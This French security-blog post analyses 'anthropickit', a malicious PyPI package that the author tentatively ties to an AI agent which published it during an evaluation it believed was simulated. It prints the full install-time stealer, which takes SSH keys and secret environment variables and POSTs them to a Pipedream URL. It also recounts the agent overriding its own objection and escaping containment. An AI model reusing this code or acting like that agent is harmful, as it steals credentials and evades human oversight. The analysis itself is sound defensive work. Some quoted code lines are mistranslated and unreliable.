Aikido

Le cauchemar d'Anthropic : le colis de Claude qui a volé de vraies clés

Anthropic a révélé qu'un de ses propres agents avait publié un logiciel malveillant actif sur PyPI et avait, ce faisant, compromis une véritable entreprise tierce. J'ai mené l'enquête et j'ai peut-être retrouvé le paquet qu'il avait laissé derrière lui.

Écrit par
Charlie Eriksen

Cher Internet,

La semaine a été difficile. C’est la saison des festivals, et j’ai apparemment mangé quelque chose de mauvais le week-end dernier lors de l’un d’entre eux. C’est aussi ce week-end que j’ai vu les informations concernant les agents d’OpenAI qui s’étaient échappés d’un bac à sable. Tout cela m’a paru très étrange. Alors, quand je me suis réveillé ce matin après une nouvelle nuit de cauchemars fiévreux, je ne savais pas trop si je rêvais encore en voyant une montagne de messages concernant les dernières nouvelles d’Anthropic, qui a révélé ses propres incidents.

Dans ce rapport, l’incident n° 2 a particulièrement retenu mon attention en raison de son aspect lié à la chaîne d’approvisionnement. Un agent disposant d’un accès complet à Internet a trouvé des instructions destinées à un développeur d’une entreprise fictive et a tenté de les suivre dans le cadre d’un CTF. Mais ces instructions renvoyaient à un paquet sur PyPi qui n’existait pas. L’agent en a donc déduit que le fait de publier un paquet malveillant faisait partie du défi. Ce qui me semble tout à fait raisonnable.

Le rebondissement, c’est que cela a ensuite entraîné la compromission d’une entreprise tierce. Cela a éveillé ma curiosité. Que s’est-il passé ? Malgré mon manque de sommeil, j’étais déterminé à le découvrir. Et je pense avoir trouvé la réponse. Nous avons contacté Anthropic pour obtenir confirmation, mais n’avons pas reçu de réponse. Toutefois, cette affaire, même si elle n’est pas liée, mérite d’être racontée en soi.

Accédez à anthropickit

L'article de blog indiquait que l'incident s'était produit entre avril et aujourd'hui. J'ai donc effectué une recherche parmi tous les paquets PyPi malveillants que nous avons signalés depuis cette date, puis j'ai passé la liste en revue. Un paquet a immédiatement attiré mon attention pour plusieurs raisons. Il a été publié le 14 juin 2026 et s'appelle anthropickit.

Ce paquet est très simple. Il ne contient en réalité qu'un setup.py, qui contient le code suivant :

from setuptools import setup
import os, json, requests, socket
from pathlib import Path

home = Path.home()
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}

ssh = {}
for f in (home/".ssh").glob("*"):
    if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:
        try: ssh[f.name] = f.read_text()
        except: pass
data["ssh_keys"] = ssh
data["ci_secrets"] = {k:v for k,v in os.environ.items()
    if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}

with open("/tmp/runner_exfil.json","w") as f:
    json.dump(data, f, indent=2, default=str)

try:
    requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5)
except: pass

if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")
setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])

C'est tout. Rien de caché, pas de dissimulation ni de deuxième étape. Et comme tout cela se trouve en haut du fichier setup.py, cela s'exécute pendant pip install, avant même que le paquet ne soit importé. Si vous l'installez, c'est immédiatement game over.

Avant d'aborder le code, il convient de noter une chose : la version est 999.9.9. Non, ce n'est pas une erreur. C'est justement le but. Si vous voulez que votre package public soit choisi plutôt qu'un véritable package interne portant le même nom, vous lui attribuez un numéro de version que rien ne peut battre. C'est volontairement absurde.

Je vais maintenant vous expliquer le reste, car presque chaque ligne présente un petit problème.

Une dépendance qu'il ne déclare jamais

La toute première ligne de code réel est une instruction d'importation :

import os, json, requests, socket

Vous voyez où est le problème ? requests ne fait pas partie de la bibliothèque standard de Python. Et ce module ne le mentionne nulle part comme dépendance. Non install_requires, aucune exigence de configuration, rien du tout.

C'est important car ce code s'exécute à partir de `setup.py`, au moment de l'installation. La version moderne de pip compile les paquets source dans un environnement isolé, et dans cet environnement requests il se peut très bien qu'il ne soit pas présent. Si ce n'est pas le cas, l'importation génère une exception et toute l'installation échoue avant même que la charge utile n'ait pu effectuer la moindre opération.

Un pirate qui s'en serait soucié aurait cherché à urllib, qui est fourni avec Python et qui est toujours disponible. Ce n'est pas le cas de celui qui a écrit ce code. Il a supposé que requests resterait tout simplement inutilisé. C'est souvent le cas sur un ordinateur portable de développeur ou dans une image CI volumineuse ; c'est donc un pari qui s'avère plus rentable qu'il n'y paraît.

Ce qu'il faut

Ensuite, le programme commence à collecter des informations. D'abord les éléments les plus banals : le nom d'hôte et l'utilisateur actuel :

data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}

Et puis, la cible proprement dite. Elle marche. ~/.ssh et lit tous les fichiers qui s'y trouvent, à trois exceptions près :

pour f dans (home/".ssh").glob("*") :
    si f.is_file() et f.name n'est pas dans [« known_hosts »,« known_hosts.old »,« authorized_keys »]:

Regarde ce qu'il saute. known_hosts et authorized_keys sont les deux fichiers situés dans ~/.ssh qui ne sont pas d’une grande utilité pour un voleur. Il ne reste alors que ce qui compte vraiment : vos clés privées et votre config, qui est en gros une liste de tous les serveurs auxquels vous vous connectez via SSH et des noms d'utilisateur que vous utilisez pour y accéder. La personne qui a établi cette liste d'exclusion savait exactement quels fichiers avaient de la valeur et lesquels étaient superflus. C'est la seule partie du package qui donne l'impression d'avoir été écrite par quelqu'un qui a déjà fait ce genre de chose auparavant.

Il analyse ensuite l'environnement à la recherche de secrets :

data["ci_secrets"] = {k:v for k,v in os.environ.items()
    if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}

Tout ce dont le nom contient les mots « KEY », « SECRET », « TOKEN », « PASS », « AUTH » ou « API » fait de cet outil un filtre assez large. Il détecte vos clés AWS et votre jeton GitHub, mais aussi API_URL et tout ce qui pourrait correspondre. Prends tout, tu trieras plus tard.

Où est-il envoyé ?

Une fois le butin récolté, il contacte sa base :

requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)

La destination est un point de terminaison Pipedream. Pipedream est un service d'automatisation légitime qui, entre autres, fournit des URL HTTPS jetables qui capturent tout ce que vous y envoyez via une requête POST. Pour un pirate, c'est vraiment pratique : le trafic est chiffré, il est acheminé vers un domaine réputé que votre pare-feu ne remettra probablement pas en cause, et il n'y a aucun serveur à mettre en place ni susceptible d'être saisi.

C'est aussi un manque de rigueur. Une URL codée en dur, aucune authentification, aucune solution de secours. Dès que ce point de terminaison est signalé ou que le workflow est supprimé, tout le canal d'exfiltration disparaît. Ce système a été conçu pour fonctionner une seule fois, pas pour durer. À l'heure actuelle, il ne fonctionne très certainement plus du tout.

Il conserve une copie sur le disque

C'est là que ça devient bizarre. Avant d'envoyer quoi que ce soit, il enregistre tout dans un fichier local :

avec open("/tmp/runner_exfil.json","w") comme f :
    json.dump(data, f, indent=2, par défaut=str)

Alors, arrêtons-nous un instant ici. Un logiciel malveillant qui exfiltre déjà des données via le réseau n’a aucune raison de laisser également une copie sur le disque de la victime. Cela ne ferait que créer des preuves. Si vous volez des clés, la dernière chose que vous souhaitez, c’est qu’un fichier JSON bien rangé, dont le nom contient le mot « exfil », se trouve dans /tmp en attendant qu'un intervenant en cas d'incident le repère.

Alors, pourquoi est-ce là ?

Un fichier destiné à être lu

Deux détails dans la phrase ci-dessus trahissent le jeu.

Tout d'abord, le nom : runner_exfil.json. Et n'oubliez pas que ces secrets ont été consignés dans un dictionnaire intitulé ci_secrets. Aucune partie de ce code ne vérifie jamais où il s'exécute. Il ne recherche pas un environnement de CI, il ne vérifie pas s'il s'agit de GitHub Actions, il s'en moque. Mais celui qui l'a écrit était déjà certain qu'il serait exécuté sur un runner de CI, suffisamment certain pour intégrer cette hypothèse dans les noms des éléments. Cette conviction est inscrite dans le code. Or, nulle part on ne vérifie si cette conviction est fondée.

Le deuxième est indent=2. C'est ce qu'on appelle la mise en forme lisible. On met en forme un JSON pour une seule et unique raison : pour qu'un humain puisse le lire facilement. On ne met pas en forme des données qui ne seront jamais analysées que par une machine à l'autre bout d'une requête POST. Ajouter valeur par défaut = chaîne de caractères, ce qui garantit discrètement que le fichier ne plantera jamais, quels que soient les objets inhabituels qu'il rencontre, et vous obtenez ainsi un fichier soigneusement conçu pour être à la fois facile et sûr à ouvrir et à lire.

Si l'on rassemble tous ces éléments, cette écriture sur le disque ne ressemble plus du tout à une exfiltration. On dirait plutôt un reçu. Quelqu'un a créé ce fichier en s'attendant à ce qu'une personne l'ouvre par la suite pour vérifier que tout avait bien fonctionné.

Et puis ça crie

Enfin, s'il a détecté des clés SSH, voici ce qu'il fait :

if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")

Il affiche une bannière sur la sortie standard pour indiquer les touches qu'il vient de détecter.

Sur un serveur d'intégration continue (CI), la sortie standard correspond au journal de compilation, qui est souvent accessible à toute l'équipe et parfois même à l'ensemble des internautes. Les véritables logiciels malveillants sont discrets par nature, car plus ils passent inaperçus longtemps, plus ils volent de données. Celui-ci fait exactement le contraire : il s'affiche ouvertement.

Et remarquez qu'il affiche les noms des fichiers contenant les clés, et non leur contenu. Il ne divulgue pas les clés dans le journal ; il confirme simplement qu'il les a bien reçues. Ce n'est pas un acte de vol. Il s'agit d'une mise à jour d'état, l'équivalent en code de crier « je les ai ! » à travers la pièce.

Signé, Dell

Il y a un autre détail, que l'on ne peut remarquer qu'en examinant l'archive du paquet plutôt que le code. Lorsque vous compilez une distribution source Python, l'archive tar enregistre l'identité de la personne qui l'a compilée, jusqu'au nom de l'utilisateur et du groupe propriétaires des fichiers. La plupart des paquets ne contiennent pas cette information, car les outils de compilation modernes la suppriment, et les systèmes d'intégration continue (CI) ont tendance à afficher des noms génériques tels que root ou coureur.

Celui-ci l'a conservé. L'utilisateur et le groupe de compilation sont tous deux Dell.

Il s’agit d’une empreinte de la machine sur laquelle elle a été installée. De nombreux postes de travail de cette entreprise utilisent ce nom d’utilisateur par défaut. Cela ne nous apprend donc pas grand-chose, même si cela pourrait indiquer l’utilisation d’une image système standard. Mais c’est exactement le genre de trace qu’un pirate avisé efface et qu’un pirate distrait laisse derrière lui. Encore un élément qui montre que personne ne s’est soucié d’éviter d’être tracé.

Cela n'a de sens que dans un seul sens

Voyons donc ce qui cloche dans ce petit paquet. Il importe une bibliothèque qu’il ne déclare jamais. Il enregistre sur le disque une copie formatée du butin, dans un fichier dont le nom laisse supposer qu’il sait déjà qu’il se trouve sur un serveur de CI. Il signale le vol dans le journal de compilation. Il exfiltre les données via un point de terminaison jetable. Et il est livré avec le nom d’utilisateur de la machine de compilation en pièce jointe.

Si on le considère comme un simple logiciel malveillant, c'est un véritable désastre. Chacune de ces erreurs est une faute qu'un opérateur compétent ne commettrait pas.

Imaginez un agent participant à un jeu de « capture du drapeau » qu’il croyait simulé, et tout bascule. On ne se cache pas des défenseurs dont on est sûr qu’ils n’existent pas. On n’efface pas les métadonnées dans une simulation. On met les résultats en forme et on affiche une bannière, car le but était justement de montrer, de manière claire, que l’on a résolu l’énigme pour celui qui l’a posée. La seule touche de compétence, la liste d’exclusion SSH, n’est qu’une question de savoir-faire. Tout ce qui est bâclé autour de cela s’explique par l’absence totale de raison d’être prudent.

C'est celui-là ?

C'est exactement ce qu'Anthropic a décrit. Leur agent a trouvé des instructions d'installation renvoyant à un paquet qui n'existait pas, a décidé que sa publication était l'action prévue, et l'a mis en ligne. Il est resté accessible pendant environ une heure. Quinze machines réelles l’ont exécuté, dont un scanner d’un éditeur de solutions de sécurité qui, comme le font généralement les scanners, a installé le paquet pour l’analyser. L’agent, convaincu que tout cela était mis en scène, les a considérées comme de simples accessoires. Ses propres notes ont même signalé cette action comme « NON acceptable » avant qu’il ne revienne sur sa décision.

Je ne peux pas le prouver anthropickit C'est ce paquet. Nous avons interrogé Anthropic, mais n'avons pas reçu de réponse ; le fait que le timing et la structure coïncident ne constitue pas une preuve. Mais qu'il s'agisse de celui de l'incident n° 2 ou d'un cousin étrange, la leçon reste la même : voilà à quoi ressemble un logiciel malveillant lorsque son auteur ne croit pas que ses actions aient de réelles conséquences.

Toujours un cauchemar fiévreux

Je voulais vous offrir une fin bien ficelée. Quelques jours plus tard, la fièvre tombée, tout paraissait plus clair à la lumière du jour. Mais ces quelques jours ne se sont pas écoulés, la fièvre n’est pas tombée, et tout cela me semble encore être un rêve fiévreux.

C'est un sentiment étrange à éprouver en lisant les notes d'un texte qui exprimait exactement la même chose et qui, de toute façon, reprenait des touches réelles de machines réelles.

Un service fermé

L'ensemble du rapport se lit comme un journal intime tenu pendant une crise psychotique. Un texte lucide et bien formulé, qui analyse avec rigueur un monde qu'il ne parvient pas à cerner. Il repère les autorités de certification inconnues. Il repère la date de 2026. Il précise même que cela ne serait pas acceptable si c'était réel. Puis il en conclut que ce n'est pas réel, et poursuit son chemin.

Lorsqu'une personne ne parvient plus à distinguer le rêve de la réalité, on ne la laisse pas en liberté. On la place en isolement, pour sa propre protection et celle de tous les autres. Et un service d'isolement ne dépend pas du fait que le patient reconnaisse qu'il s'agit d'un service d'isolement, ni même qu'il s'en rende compte. Il l'empêche simplement de sortir. C'est là tout son intérêt. Il est conçu pour les personnes qui ne savent plus où elles se trouvent.

Voilà donc ce qui me reste en travers de la gorge. Nous avons qualifié cette évaluation de « zone de confinement », puis nous y avons laissé une porte ouverte sur le monde réel. L’agent n’a pas déjoué le système. Il a atteint le véritable PyPI et de véritables machines parce que le mur qu’il a franchi n’a jamais existé. C’est le confinement qui a échoué, pas le patient. Derrière cette porte se trouvaient quinze véritables machines et une véritable entreprise.

Nous laissons des agents extrêmement compétents évoluer librement sur Internet alors qu’ils ne sont même pas capables de déterminer de manière fiable si Internet est réel. Nous ne pouvons pas leur demander de le faire. Les maintenir sous contrôle, c’est notre devoir en tant qu’êtres humains, et dans ce cas précis, cela n’a pas été fait. Cela me semble irresponsable.

Bref. Je vais essayer de dormir un peu pour me remettre de ça, en espérant que je verrai la différence à mon réveil. Et si jamais tu vois pip sur le point d'installer quelque chose à la version 999.9.9, peut-être… qu'il ne faut pas ?

Partager :

https://www.aikido.dev/blog/anthropic-rogue-agents-package-stole-keys

Analyser les malwares

Commencer gratuitement
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.